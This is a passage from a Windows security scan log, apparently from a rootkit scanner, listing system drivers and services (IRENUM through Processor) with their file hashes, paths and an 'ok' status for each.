    12:24:25.0206 0x139c  [ 3ABF5E7213EB28966D55D58B515D5CE9, A352BCC5B6B9A28805B15CAFB235676F1FAFF0D2394F88C03089EB157D6188AE ] IRENUM          C:\Windows\system32\drivers\irenum.sys
    12:24:25.0209 0x139c  IRENUM - ok
    12:24:25.0234 0x139c  [ 2F7B28DC3E1183E5EB418DF55C204F38, D40410A760965925D6F10959B2043F7BD4F68EAFCF5E743AF11AD860BD136548 ] isapnp          C:\Windows\system32\drivers\isapnp.sys
    12:24:25.0237 0x139c  isapnp - ok
    12:24:25.0290 0x139c  [ D931D7309DEB2317035B07C9F9E6B0BD, 13AD84172ED8C6153F8A98499C01733B74E48464CE07D099508E38D409913ED3 ] iScsiPrt        C:\Windows\system32\drivers\msiscsi.sys
    12:24:25.0300 0x139c  iScsiPrt - ok
    12:24:25.0335 0x139c  [ BC02336F1CBA7DCC7D1213BB588A68A5, 450C5BAD54CCE2AFCDFF1B6E7F8E1A8446D9D3255DF9D36C29A8F848048AAD93 ] kbdclass        C:\Windows\system32\drivers\kbdclass.sys
    12:24:25.0337 0x139c  kbdclass - ok
    12:24:25.0389 0x139c  [ 0705EFF5B42A9DB58548EEC3B26BB484, 86C6824ED7ED6FA8F306DB6319A0FD688AA91295AE571262F9D8E96A32225E99 ] kbdhid          C:\Windows\system32\drivers\kbdhid.sys
    12:24:25.0395 0x139c  kbdhid - ok
    12:24:25.0431 0x139c  [ E63EF8C3271D014F14E2469CE75FECB4, 3A8DFA4B446AFDC35F01FD5218D0BEBC510A1E3DE9976210F00D19767D0F9069 ] kbfiltr         C:\Windows\system32\DRIVERS\kbfiltr.sys
    12:24:25.0432 0x139c  kbfiltr - ok
    12:24:25.0444 0x139c  [ 0793F40B9B8A1BDD266296409DBD91EA, 8A383FC9A66A327905C340D06138980F9E489479535A2C2AAE5E8BB14A74826E ] KeyIso          C:\Windows\system32\lsass.exe
    12:24:25.0446 0x139c  KeyIso - ok
    12:24:25.0499 0x139c  [ CCD53B5BD33CE0C889E830D839C8B66E, 51B7556DA7DAA0BC75E00E53099776016A55FAA115D5A4E6830E12A0A0869C10 ] KSecDD          C:\Windows\system32\Drivers\ksecdd.sys
    12:24:25.0503 0x139c  KSecDD - ok
    12:24:25.0555 0x139c  [ 9FF918A261752C12639E8AD4208D2C2F, B60F7A730C92F2BF7E85A6CA14DD7671AEECEE154CEC83B1E23EF268C25C9E5E ] KSecPkg         C:\Windows\system32\Drivers\ksecpkg.sys
    12:24:25.0562 0x139c  KSecPkg - ok
    12:24:25.0584 0x139c  [ 6869281E78CB31A43E969F06B57347C4, 866A23E69B32A78D378D6CB3B3DA3695FFDFF0FEC3C9F68C8C3F988DF417044B ] ksthunk         C:\Windows\system32\drivers\ksthunk.sys
    12:24:25.0586 0x139c  ksthunk - ok
    12:24:25.0632 0x139c  [ 6AB66E16AA859232F64DEB66887A8C9C, 5F2B579BEA8098A2994B0DECECDAE7B396E7B5DC5F09645737B9F28BEEA77FFF ] KtmRm           C:\Windows\system32\msdtckrm.dll
    12:24:25.0655 0x139c  KtmRm - ok
    12:24:25.0717 0x139c  [ FC010C7814DDAC17389A7D87EA2EBB39, A3AD0EF6F67812FDC6803233AA44136D6D4B09A712F356370F2DC04DE52C527F ] L1C             C:\Windows\system32\DRIVERS\L1C62x64.sys
    12:24:25.0720 0x139c  L1C - ok
    12:24:25.0749 0x139c  [ D9F42719019740BAA6D1C6D536CBDAA6, 8757599D0AE5302C4CE50861BEBA3A8DD14D7B0DBD916FD5404133688CDFCC40 ] LanmanServer    C:\Windows\system32\srvsvc.dll
    12:24:25.0760 0x139c  LanmanServer - ok
    12:24:25.0781 0x139c  [ 851A1382EED3E3A7476DB004F4EE3E1A, B1C67F47DD594D092E6E258F01DF5E7150227CE3131A908A244DEE9F8A1FABF9 ] LanmanWorkstation C:\Windows\System32\wkssvc.dll
    12:24:25.0788 0x139c  LanmanWorkstation - ok
    12:24:25.0829 0x139c  [ 1538831CF8AD2979A04C423779465827, E1729B0CC4CEEE494A0B8817A8E98FF232E3A32FB023566EF0BC71A090262C0C ] lltdio          C:\Windows\system32\DRIVERS\lltdio.sys
    12:24:25.0832 0x139c  lltdio - ok
    12:24:25.0870 0x139c  [ C1185803384AB3FEED115F79F109427F, 0414FE73532DCAB17E906438A14711E928CECCD5F579255410C62984DD652700 ] lltdsvc         C:\Windows\System32\lltdsvc.dll
    12:24:25.0903 0x139c  lltdsvc - ok
    12:24:25.0926 0x139c  [ F993A32249B66C9D622EA5592A8B76B8, EE64672A990C6145DC5601E2B8CDBE089272A72732F59AF9865DCBA8B1717E70 ] lmhosts         C:\Windows\System32\lmhsvc.dll
    12:24:25.0929 0x139c  lmhosts - ok
    12:24:25.0979 0x139c  [ 1A93E54EB0ECE102495A51266DCDB6A6, DB6AA86AA36C3A7988BE96E87B5D3251BE7617C54EE8F894D9DC2E267FE3255B ] LSI_FC          C:\Windows\system32\DRIVERS\lsi_fc.sys
    12:24:25.0984 0x139c  LSI_FC - ok
    12:24:26.0012 0x139c  [ 1047184A9FDC8BDBFF857175875EE810, F2251EDB7736A26D388A0C5CC2FE5FB9C5E109CBB1E3800993554CB21D81AE4B ] LSI_SAS         C:\Windows\system32\DRIVERS\lsi_sas.sys
    12:24:26.0017 0x139c  LSI_SAS - ok
    12:24:26.0068 0x139c  [ 30F5C0DE1EE8B5BC9306C1F0E4A75F93, 88D5740A4E9CC3FA80FA18035DAB441BDC5A039622D666BFDAA525CC9686BD06 ] LSI_SAS2        C:\Windows\system32\DRIVERS\lsi_sas2.sys
    12:24:26.0072 0x139c  LSI_SAS2 - ok
    12:24:26.0108 0x139c  [ 0504EACAFF0D3C8AED161C4B0D369D4A, 4D272237C189646F5C80822FD3CBA7C2728E482E2DAAF7A09C8AEF811C89C54D ] LSI_SCSI        C:\Windows\system32\DRIVERS\lsi_scsi.sys
    12:24:26.0113 0x139c  LSI_SCSI - ok
    12:24:26.0133 0x139c  [ 43D0F98E1D56CCDDB0D5254CFF7B356E, 5BA498183B5C4996C694CB0A9A6B66CE6C7A460F6C91BEB9F305486FCC3B7B22 ] luafv           C:\Windows\system32\drivers\luafv.sys
    12:24:26.0137 0x139c  luafv - ok
    12:24:26.0195 0x139c  [ 0BE09CD858ABF9DF6ED259D57A1A1663, 2FD28889B93C8E801F74C1D0769673A461671E0189D0A22C94509E3F0EEB7428 ] Mcx2Svc         C:\Windows\system32\Mcx2Svc.dll
    12:24:26.0201 0x139c  Mcx2Svc - ok
    12:24:26.0224 0x139c  [ A55805F747C6EDB6A9080D7C633BD0F4, 2DA0E83BF3C8ADEF6F551B6CC1C0A3F6149CDBE6EC60413BA1767C4DE425A728 ] megasas         C:\Windows\system32\DRIVERS\megasas.sys
    12:24:26.0227 0x139c  megasas - ok
    12:24:26.0257 0x139c  [ BAF74CE0072480C3B6B7C13B2A94D6B3, 85CBB4949C090A904464F79713A3418338753D20D7FB811E68F287FDAC1DD834 ] MegaSR          C:\Windows\system32\DRIVERS\MegaSR.sys
    12:24:26.0277 0x139c  MegaSR - ok
    12:24:26.0323 0x139c  Microsoft SharePoint Workspace Audit Service - ok
    12:24:26.0373 0x139c  [ E40E80D0304A73E8D269F7141D77250B, 0DB4AC13A264F19A84DC0BCED54E8E404014CC09C993B172002B1561EC7E265A ] MMCSS           C:\Windows\system32\mmcss.dll
    12:24:26.0378 0x139c  MMCSS - ok
    12:24:26.0393 0x139c  [ 800BA92F7010378B09F9ED9270F07137, 94F9AF9E1BE80AE6AC39A2A74EF9FAB115DCAACC011D07DFA8D6A1DDC8A93342 ] Modem           C:\Windows\system32\drivers\modem.sys
    12:24:26.0395 0x139c  Modem - ok
    12:24:26.0426 0x139c  [ B03D591DC7DA45ECE20B3B467E6AADAA, 701FB0CAD8138C58507BE28845D3E24CE269A040737C29885944A0D851238732 ] monitor         C:\Windows\system32\DRIVERS\monitor.sys
    12:24:26.0427 0x139c  monitor - ok
    12:24:26.0438 0x139c  [ 7D27EA49F3C1F687D357E77A470AEA99, 7FE7CAF95959F127C6D932C01D539C06D80273C49A09761F6E8331C05B1A7EE7 ] mouclass        C:\Windows\system32\drivers\mouclass.sys
    12:24:26.0441 0x139c  mouclass - ok
    12:24:26.0466 0x139c  [ D3BF052C40B0C4166D9FD86A4288C1E6, 5E65264354CD94E844BF1838CA1B8E49080EFA34605A32CF2F6A47A2B97FC183 ] mouhid          C:\Windows\system32\DRIVERS\mouhid.sys
    12:24:26.0468 0x139c  mouhid - ok
    12:24:26.0522 0x139c  [ 32E7A3D591D671A6DF2DB515A5CBE0FA, 47CED0B9067AE8BF5EEF60B17ADEE5906BEDCC56E4CB460B7BFBC12BB9A69E63 ] mountmgr        C:\Windows\system32\drivers\mountmgr.sys
    12:24:26.0526 0x139c  mountmgr - ok
    12:24:26.0582 0x139c  [ A44B420D30BD56E145D6A2BC8768EC58, B1E4DCA5A1008FA7A0492DC091FB2B820406AE13FD3D44F124E89B1037AF09B8 ] mpio            C:\Windows\system32\drivers\mpio.sys
    12:24:26.0588 0x139c  mpio - ok
    12:24:26.0610 0x139c  [ 6C38C9E45AE0EA2FA5E551F2ED5E978F, 5A3FA2F110029CB4CC4384998EDB59203FDD65EC45E01B897FB684F8956EAD20 ] mpsdrv          C:\Windows\system32\drivers\mpsdrv.sys
    12:24:26.0614 0x139c  mpsdrv - ok
    12:24:26.0692 0x139c  [ 54FFC9C8898113ACE189D4AA7199D2C1, 65F585C87F3F710FD5793FDFA96B740AD8D4317B0C120F4435CCF777300EA4F2 ] MpsSvc          C:\Windows\system32\mpssvc.dll
    12:24:26.0735 0x139c  MpsSvc - ok
    12:24:26.0792 0x139c  [ DC722758B8261E1ABAFD31A3C0A66380, 88BBE073E2CCD1DAB4656DDC53D5161E8A91D035ADAC1465D0CEBA86F1BB6D9A ] MRxDAV          C:\Windows\system32\drivers\mrxdav.sys
    12:24:26.0798 0x139c  MRxDAV - ok
    12:24:26.0847 0x139c  [ FAF015B07E3A2874A790A39B7D2C579F, C614B0E80B38EBF7C670EEB833F5E476B33042097DA07206D6C5EE3E52B9A427 ] mrxsmb          C:\Windows\system32\DRIVERS\mrxsmb.sys
    12:24:26.0853 0x139c  mrxsmb - ok
    12:24:26.0884 0x139c  [ 08E2345DF129082BCDFFDC1440F9C00D, 2ADF69F49DF8C43D4440B6C8A62085C51518CA895A88D37264C60A0B4B1EC55F ] mrxsmb10        C:\Windows\system32\DRIVERS\mrxsmb10.sys
    12:24:26.0895 0x139c  mrxsmb10 - ok
    12:24:26.0960 0x139c  [ 108D87409C5812EF47D81E22843E8C9D, CAE9B91B6BD1DF1552463BD63A06288F5D3E0B81B040BC1C7EC0C2A0119CCECA ] mrxsmb20        C:\Windows\system32\DRIVERS\mrxsmb20.sys
    12:24:26.0966 0x139c  mrxsmb20 - ok
    12:24:27.0002 0x139c  [ C25F0BAFA182CBCA2DD3C851C2E75796, 643E158A0948DF331807AEAA391F23960362E46C0A0CF6D22A99020EAE7B10F8 ] msahci          C:\Windows\system32\drivers\msahci.sys
    12:24:27.0003 0x139c  msahci - ok
    12:24:27.0036 0x139c  [ DB801A638D011B9633829EB6F663C900, B34FD33A215ACCF2905F4B7D061686CDB1CB9C652147AF56AE14686C1F6E3C74 ] msdsm           C:\Windows\system32\drivers\msdsm.sys
    12:24:27.0043 0x139c  msdsm - ok
    12:24:27.0066 0x139c  [ DE0ECE52236CFA3ED2DBFC03F28253A8, 2FBBEC4CACB5161F68D7C2935852A5888945CA0F107CF8A1C01F4528CE407DE3 ] MSDTC           C:\Windows\System32\msdtc.exe
    12:24:27.0072 0x139c  MSDTC - ok
    12:24:27.0103 0x139c  [ AA3FB40E17CE1388FA1BEDAB50EA8F96, 69F93E15536644C8FD679A20190CFE577F4985D3B1B4A4AA250A168615AE1E99 ] Msfs            C:\Windows\system32\drivers\Msfs.sys
    12:24:27.0106 0x139c  Msfs - ok
    12:24:27.0145 0x139c  [ F9D215A46A8B9753F61767FA72A20326, 6F76642B45E0A7EF6BCAB8B37D55CCE2EAA310ED07B76D43FCB88987C2174141 ] mshidkmdf       C:\Windows\System32\drivers\mshidkmdf.sys
    12:24:27.0150 0x139c  mshidkmdf - ok
    12:24:27.0174 0x139c  [ D916874BBD4F8B07BFB7FA9B3CCAE29D, B229DA150713DEDBC4F05386C9D9DC3BC095A74F44F3081E88311AB73BC992A1 ] msisadrv        C:\Windows\system32\drivers\msisadrv.sys
    12:24:27.0175 0x139c  msisadrv - ok
    12:24:27.0212 0x139c  [ 808E98FF49B155C522E6400953177B08, F873F5BFF0984C5165DF67E92874D3F6EB8D86F9B5AD17013A0091CA33A1A3D5 ] MSiSCSI         C:\Windows\system32\iscsiexe.dll
    12:24:27.0219 0x139c  MSiSCSI - ok
    12:24:27.0229 0x139c  msiserver - ok
    12:24:27.0264 0x139c  [ 49CCF2C4FEA34FFAD8B1B59D49439366, E5752EA57C7BDAD5F53E3BC441A415E909AC602CAE56234684FB8789A20396C7 ] MSKSSRV         C:\Windows\system32\drivers\MSKSSRV.sys
    12:24:27.0267 0x139c  MSKSSRV - ok
    12:24:27.0294 0x139c  [ BDD71ACE35A232104DDD349EE70E1AB3, 27464A66868513BE6A01B75D7FC5B0D6B71842E4E20CE3F76B15C071A0618BBB ] MSPCLOCK        C:\Windows\system32\drivers\MSPCLOCK.sys
    12:24:27.0296 0x139c  MSPCLOCK - ok
    12:24:27.0320 0x139c  [ 4ED981241DB27C3383D72092B618A1D0, E12F121E641249DB3491141851B59E1496F4413EDF58E863388F1C229838DFCC ] MSPQM           C:\Windows\system32\drivers\MSPQM.sys
    12:24:27.0322 0x139c  MSPQM - ok
    12:24:27.0345 0x139c  [ 759A9EEB0FA9ED79DA1FB7D4EF78866D, 64E3BC613EC4872B1B344CBF71EE15BE195592E3244C1EE099C6F8B95A40F133 ] MsRPC           C:\Windows\system32\drivers\MsRPC.sys
    12:24:27.0367 0x139c  MsRPC - ok
    12:24:27.0388 0x139c  [ 0EED230E37515A0EAEE3C2E1BC97B288, B1D8F8A75006B6E99214CA36D27A8594EF8D952F315BEB201E9BAC9DE3E64D42 ] mssmbios        C:\Windows\system32\drivers\mssmbios.sys
    12:24:27.0389 0x139c  mssmbios - ok
    12:24:27.0513 0x139c  [ D89F2110A3C59F492CE80648BC645E79, 1EDB265554A19ADC5345BBD703C45C715E0C28D187490367221C11F117377B13 ] MSSQL$TEW_SQLEXPRESS C:\ProgramData\SOLIDWORKS Electrical\MSSQL12.TEW_SQLEXPRESS\MSSQL\Binn\sqlservr.exe
    12:24:27.0544 0x139c  MSSQL$TEW_SQLEXPRESS - ok
    12:24:27.0565 0x139c  [ 2E66F9ECB30B4221A318C92AC2250779, DF175E1AB6962303E57F26DAE5C5C1E40B8640333F3E352A64F6A5F1301586CD ] MSTEE           C:\Windows\system32\drivers\MSTEE.sys
    12:24:27.0567 0x139c  MSTEE - ok
    12:24:27.0584 0x139c  [ 7EA404308934E675BFFDE8EDF0757BCD, 306CD02D89CFCFE576242360ED5F9EEEDCAFC43CD43B7D2977AE960F9AEC3232 ] MTConfig        C:\Windows\system32\DRIVERS\MTConfig.sys
    12:24:27.0586 0x139c  MTConfig - ok
    12:24:27.0628 0x139c  [ F9A18612FD3526FE473C1BDA678D61C8, 32F7975B5BAA447917F832D9E3499B4B6D3E90D73F478375D0B70B36C524693A ] Mup             C:\Windows\system32\Drivers\mup.sys
    12:24:27.0630 0x139c  Mup - ok
    12:24:27.0686 0x139c  [ 582AC6D9873E31DFA28A4547270862DD, BD540499F74E8F59A020D935D18E36A3A97C1A6EC59C8208436469A31B16B260 ] napagent        C:\Windows\system32\qagentRT.dll
    12:24:27.0709 0x139c  napagent - ok
    12:24:27.0754 0x139c  [ 1EA3749C4114DB3E3161156FFFFA6B33, 54C2E77BCE1037711A11313AC25B8706109098C10A31AA03AEB7A185E97800D7 ] NativeWifiP     C:\Windows\system32\DRIVERS\nwifi.sys
    12:24:27.0775 0x139c  NativeWifiP - ok
    12:24:27.0830 0x139c  [ 79B47FD40D9A817E932F9D26FAC0A81C, 53E260B8BFC50BA45FA73BFCF4E58C233890D0EAA9DEFDCCBB55FD3EB992FF2D ] NDIS            C:\Windows\system32\drivers\ndis.sys
    12:24:27.0875 0x139c  NDIS - ok
    12:24:27.0900 0x139c  [ 9F9A1F53AAD7DA4D6FEF5BB73AB811AC, D7E5446E83909AE25506BB98FBDD878A529C87963E3C1125C4ABAB25823572BC ] NdisCap         C:\Windows\system32\DRIVERS\ndiscap.sys
    12:24:27.0903 0x139c  NdisCap - ok
    12:24:27.0936 0x139c  [ 30639C932D9FEF22B31268FE25A1B6E5, 32873D95339600F6EEFA51847D12C563FF01F320DC59055B242FA2887C99F9D6 ] NdisTapi        C:\Windows\system32\DRIVERS\ndistapi.sys
    12:24:27.0938 0x139c  NdisTapi - ok
    12:24:27.0993 0x139c  [ 136185F9FB2CC61E573E676AA5402356, BA3AD0A33416DA913B4242C6BE8C3E5812AD2B20BA6C11DD3094F2E8EB56E683 ] Ndisuio         C:\Windows\system32\DRIVERS\ndisuio.sys
    12:24:27.0996 0x139c  Ndisuio - ok
    12:24:28.0049 0x139c  [ 53F7305169863F0A2BDDC49E116C2E11, 881E9346D3C02405B7850ADC37E720990712EC9C666A0CE96E252A487FD2CE77 ] NdisWan         C:\Windows\system32\DRIVERS\ndiswan.sys
    12:24:28.0055 0x139c  NdisWan - ok
    12:24:28.0102 0x139c  [ 015C0D8E0E0421B4CFD48CFFE2825879, 4242E2D42CCFC859B2C0275C5331798BC0BDA68E51CF4650B6E64B1332071023 ] NDProxy         C:\Windows\system32\drivers\NDProxy.sys
    12:24:28.0105 0x139c  NDProxy - ok
    12:24:28.0170 0x139c  [ EE00C544C025958AF50C7B199F3C8595, D774DB020D9C46D1AA0B2DB9FA2C36C4A9C38D904CC6929695321D32ACA0D4D1 ] Netaapl         C:\Windows\system32\DRIVERS\netaapl64.sys
    12:24:28.0173 0x139c  Netaapl - ok
    12:24:28.0193 0x139c  [ 86743D9F5D2B1048062B14B1D84501C4, DBF6D6A60AB774FCB0F464FF2D285A7521D0A24006687B243AB46B17D8032062 ] NetBIOS         C:\Windows\system32\DRIVERS\netbios.sys
    12:24:28.0196 0x139c  NetBIOS - ok
    12:24:28.0262 0x139c  [ 09594D1089C523423B32A4229263F068, 7426A9B8BA27D3225928DDEFBD399650ABB90798212F56B7D12158AC22CCCE37 ] NetBT           C:\Windows\system32\DRIVERS\netbt.sys
    12:24:28.0272 0x139c  NetBT - ok
    12:24:28.0292 0x139c  [ 0793F40B9B8A1BDD266296409DBD91EA, 8A383FC9A66A327905C340D06138980F9E489479535A2C2AAE5E8BB14A74826E ] Netlogon        C:\Windows\system32\lsass.exe
    12:24:28.0294 0x139c  Netlogon - ok
    12:24:28.0371 0x139c  [ 847D3AE376C0817161A14A82C8922A9E, 37AE692B3481323134125EF58F2C3CBC20177371AF2F5874F53DD32A827CB936 ] Netman          C:\Windows\System32\netman.dll
    12:24:28.0383 0x139c  Netman - ok
    12:24:28.0434 0x139c  [ E58808846B62041BFB05395E1CED6499, 5387F2CE6B494337725D2BF3EB563912E6EE33918F2872C5FE07BEDBB0F761EE ] NetMsmqActivator C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
    12:24:28.0441 0x139c  NetMsmqActivator - ok
    12:24:28.0453 0x139c  [ E58808846B62041BFB05395E1CED6499, 5387F2CE6B494337725D2BF3EB563912E6EE33918F2872C5FE07BEDBB0F761EE ] NetPipeActivator C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
    12:24:28.0456 0x139c  NetPipeActivator - ok
    12:24:28.0495 0x139c  [ 5F28111C648F1E24F7DBC87CDEB091B8, 2E8645285921EDB98BB2173E11E57459C888D52E80D85791D169C869DE8813B9 ] netprofm        C:\Windows\System32\netprofm.dll
    12:24:28.0518 0x139c  netprofm - ok
    12:24:28.0529 0x139c  [ E58808846B62041BFB05395E1CED6499, 5387F2CE6B494337725D2BF3EB563912E6EE33918F2872C5FE07BEDBB0F761EE ] NetTcpActivator C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
    12:24:28.0533 0x139c  NetTcpActivator - ok
    12:24:28.0544 0x139c  [ E58808846B62041BFB05395E1CED6499, 5387F2CE6B494337725D2BF3EB563912E6EE33918F2872C5FE07BEDBB0F761EE ] NetTcpPortSharing C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
    12:24:28.0548 0x139c  NetTcpPortSharing - ok
    12:24:28.0573 0x139c  [ 77889813BE4D166CDAB78DDBA990DA92, 2EF531AE502B943632EEC66A309A8BFCDD36120A5E1473F4AAF3C2393AD0E6A3 ] nfrd960         C:\Windows\system32\DRIVERS\nfrd960.sys
    12:24:28.0577 0x139c  nfrd960 - ok
    12:24:28.0605 0x139c  [ 1EE99A89CC788ADA662441D1E9830529, 6B4FDD74BB81E12BD4B25A3E8AECB0FA77FA0075D454DD1D6DC1790ADF1F2AA8 ] NlaSvc          C:\Windows\System32\nlasvc.dll
    12:24:28.0626 0x139c  NlaSvc - ok
    12:24:28.0642 0x139c  [ 1E4C4AB5C9B8DD13179BBDC75A2A01F7, D8957EF7060A69DBB3CD6B2C45B1E4143592AB8D018471E17AC04668157DC67F ] Npfs            C:\Windows\system32\drivers\Npfs.sys
    12:24:28.0644 0x139c  Npfs - ok
    12:24:28.0666 0x139c  [ D54BFDF3E0C953F823B3D0BFE4732528, 497A1DCC5646EC22119273216DF10D5442D16F83E4363770F507518CF6EAA53A ] nsi             C:\Windows\system32\nsisvc.dll
    12:24:28.0670 0x139c  nsi - ok
    12:24:28.0687 0x139c  [ E7F5AE18AF4168178A642A9247C63001, 133023B7E4BA8049C4CAED3282BDD25571D1CC25FAC3B820C7F981D292689D76 ] nsiproxy        C:\Windows\system32\drivers\nsiproxy.sys
    12:24:28.0689 0x139c  nsiproxy - ok
    12:24:28.0766 0x139c  [ 05D78AA5CB5F3F5C31160BDB955D0B7C, E3CD3FAF52ED11A8FB96D667510F1EDCA49053705AA3A13F560F8F6EC995CA45 ] Ntfs            C:\Windows\system32\drivers\Ntfs.sys
    12:24:28.0839 0x139c  Ntfs - ok
    12:24:28.0864 0x139c  [ 9899284589F75FA8724FF3D16AED75C1, 181188599FD5D4DE33B97010D9E0CAEABAB9A3EF50712FE7F9AA0735CD0666D6 ] Null            C:\Windows\system32\drivers\Null.sys
    12:24:28.0866 0x139c  Null - ok
    12:24:28.0921 0x139c  [ 5D9FD91F3D38DC9DA01E3CB5FA89CD48, 7738785DE8B50D69993F4408498B812D0283FEE5C04FF5B89C20F149B44E9737 ] nvraid          C:\Windows\system32\drivers\nvraid.sys
    12:24:28.0928 0x139c  nvraid - ok
    12:24:28.0981 0x139c  [ F7CD50FE7139F07E77DA8AC8033D1832, DA96F4B15C8165E6AE1D00E03A062C66CA3A3089E4FF0E9E11CE00B154DD12EC ] nvstor          C:\Windows\system32\drivers\nvstor.sys
    12:24:28.0987 0x139c  nvstor - ok
    12:24:29.0019 0x139c  [ 270D7CD42D6E3979F6DD0146650F0E05, 752489E54C9004EDCBE1F1F208FFD864DA5C83E59A2DDE6B3E0D63ECA996F76F ] nv_agp          C:\Windows\system32\drivers\nv_agp.sys
    12:24:29.0025 0x139c  nv_agp - ok
    12:24:29.0054 0x139c  [ 3589478E4B22CE21B41FA1BFC0B8B8A0, AD2469FC753FE552CB809FF405A9AB23E7561292FE89117E3B3B62057EFF0203 ] ohci1394        C:\Windows\system32\drivers\ohci1394.sys
    12:24:29.0059 0x139c  ohci1394 - ok
    12:24:29.0119 0x139c  [ 4965B005492CBA7719E82B71E3245495, 52AD72C05FACC1E0E416A1FA25F34FDD3CB274FAB973BEAAE911A2FACA42B650 ] ose64           C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE
    12:24:29.0127 0x139c  ose64 - ok
    12:24:29.0363 0x139c  [ 61BFFB5F57AD12F83AB64B7181829B34, 1DD0DD35E4158F95765EE6639F217DF03A0A19E624E020DBA609268C08A13846 ] osppsvc         C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    12:24:29.0545 0x139c  osppsvc - ok
    12:24:29.0604 0x139c  [ 3EAC4455472CC2C97107B5291E0DCAFE, E51F373F2DBEAEE516B42BAE8C1B5BB68D00B881323E842CB6EDEC0A183CFFC3 ] p2pimsvc        C:\Windows\system32\pnrpsvc.dll
    12:24:29.0636 0x139c  p2pimsvc - ok
    12:24:29.0669 0x139c  [ 927463ECB02179F88E4B9A17568C63C3, FEFD3447692C277D59EEC7BF218552C8BB6B8C98C26E973675549628408B94CE ] p2psvc          C:\Windows\system32\p2psvc.dll
    12:24:29.0692 0x139c  p2psvc - ok
    12:24:29.0724 0x139c  [ 0086431C29C35BE1DBC43F52CC273887, 0D116D49EF9ABB57DA005764F25E692622210627FC2048F06A989B12FA8D0A80 ] Parport         C:\Windows\system32\DRIVERS\parport.sys
    12:24:29.0729 0x139c  Parport - ok
    12:24:29.0769 0x139c  [ 871EADAC56B0A4C6512BBE32753CCF79, F9FD9DBA55274BB72B897550988DCDFD0F2D9367BE641DFDE07D240052DDC180 ] partmgr         C:\Windows\system32\drivers\partmgr.sys
    12:24:29.0772 0x139c  partmgr - ok
    12:24:29.0793 0x139c  [ 3AEAA8B561E63452C655DC0584922257, 04C072969B58657602EB0C21CEDF24FCEE14E61B90A0F758F93925EF2C9FC32D ] PcaSvc          C:\Windows\System32\pcasvc.dll
    12:24:29.0801 0x139c  PcaSvc - ok
    12:24:29.0828 0x139c  [ 94575C0571D1462A0F70BDE6BD6EE6B3, 7139BAC653EA94A3DD3821CAB35FC5E22F4CCA5ACC2BAABDAA27E4C3C8B27FC9 ] pci             C:\Windows\system32\drivers\pci.sys
    12:24:29.0835 0x139c  pci - ok
    12:24:29.0864 0x139c  [ B5B8B5EF2E5CB34DF8DCF8831E3534FA, F2A7CC645B96946CC65BF60E14E70DC09C848D27C7943CE5DEA0C01A6B863480 ] pciide          C:\Windows\system32\drivers\pciide.sys
    12:24:29.0865 0x139c  pciide - ok
    12:24:29.0897 0x139c  [ B2E81D4E87CE48589F98CB8C05B01F2F, 6763BEE7270A4873B3E131BFB92313E2750FCBD0AD73C23D1C4F98F7DF73DE14 ] pcmcia          C:\Windows\system32\DRIVERS\pcmcia.sys
    12:24:29.0919 0x139c  pcmcia - ok
    12:24:29.0944 0x139c  [ D6B9C2E1A11A3A4B26A182FFEF18F603, BBA5FE08B1DDD6243118E11358FD61B10E850F090F061711C3CB207CE5FBBD36 ] pcw             C:\Windows\system32\drivers\pcw.sys
    12:24:29.0946 0x139c  pcw - ok
    12:24:29.0982 0x139c  [ 68769C3356B3BE5D1C732C97B9A80D6E, FB2D61145980A2899D1B7729184C54070315B0E63C9A22400A76CCD39E00029C ] PEAUTH          C:\Windows\system32\drivers\peauth.sys
    12:24:30.0016 0x139c  PEAUTH - ok
    12:24:30.0096 0x139c  [ B9B0A4299DD2D76A4243F75FD54DC680, BBF62E9628131FA396EB08D63B76D2D5FBDD61339E92B759125A066470D1C039 ] PeerDistSvc     C:\Windows\system32\peerdistsvc.dll
    12:24:30.0170 0x139c  PeerDistSvc - ok
    12:24:30.0253 0x139c  [ E495E408C93141E8FC72DC0C6046DDFA, 489B957DADA0DC128A09468F1AD082DCC657E86053208EA06A12937BE86FB919 ] PerfHost        C:\Windows\SysWow64\perfhost.exe
    12:24:30.0256 0x139c  PerfHost - ok
    12:24:30.0358 0x139c  [ C7CF6A6E137463219E1259E3F0F0DD6C, 08D7244F52AA17DD669AA6F77C291DAC88E7B2D1887DE422509C1F83EC85F3DD ] pla             C:\Windows\system32\pla.dll
    12:24:30.0417 0x139c  pla - ok
    12:24:30.0501 0x139c  [ B806E50427511BCF4AD8E8239C3E25FA, AB89B48ECCF90F701B314D18BE531CDA5ABE1636C17B994A5E4BE5AAC136B4E3 ] PlugPlay        C:\Windows\system32\umpnpmgr.dll
    12:24:30.0524 0x139c  PlugPlay - ok
    12:24:30.0554 0x139c  [ 7195581CEC9BB7D12ABE54036ACC2E38, 9C4E5D6EA984148F2663DC529083408B2248DFF6DAAC85D9195F80A722782315 ] PNRPAutoReg     C:\Windows\system32\pnrpauto.dll
    12:24:30.0558 0x139c  PNRPAutoReg - ok
    12:24:30.0594 0x139c  [ 3EAC4455472CC2C97107B5291E0DCAFE, E51F373F2DBEAEE516B42BAE8C1B5BB68D00B881323E842CB6EDEC0A183CFFC3 ] PNRPsvc         C:\Windows\system32\pnrpsvc.dll
    12:24:30.0604 0x139c  PNRPsvc - ok
    12:24:30.0652 0x139c  [ 4F15D75ADF6156BF56ECED6D4A55C389, 2ADA3EA69A5D7EC2A4D2DD89178DB94EAFDDF95F07B0070D654D9F7A5C12A044 ] PolicyAgent     C:\Windows\System32\ipsecsvc.dll
    12:24:30.0675 0x139c  PolicyAgent - ok
    12:24:30.0724 0x139c  [ 6BA9D927DDED70BD1A9CADED45F8B184, 66203CE70A5EDE053929A940F38924C6792239CCCE10DD2C1D90D5B4D6748B55 ] Power           C:\Windows\system32\umpo.dll
    12:24:30.0736 0x139c  Power - ok
    12:24:30.0801 0x139c  [ F92A2C41117A11A00BE01CA01A7FCDE9, 38ADC6052696D110CA5F393BC586791920663F5DA66934C2A824DDA9CD89C763 ] PptpMiniport    C:\Windows\system32\DRIVERS\raspptp.sys
    12:24:30.0805 0x139c  PptpMiniport - ok
    12:24:30.0827 0x139c  [ 0D922E23C041EFB1C3FAC2A6F943C9BF, 855418A6A58DCAFB181A1A68613B3E203AFB0A9B3D9D26D0C521F9F613B4EAD5 ] Processor       C:\Windows\system32\DRIVERS\processr.sys
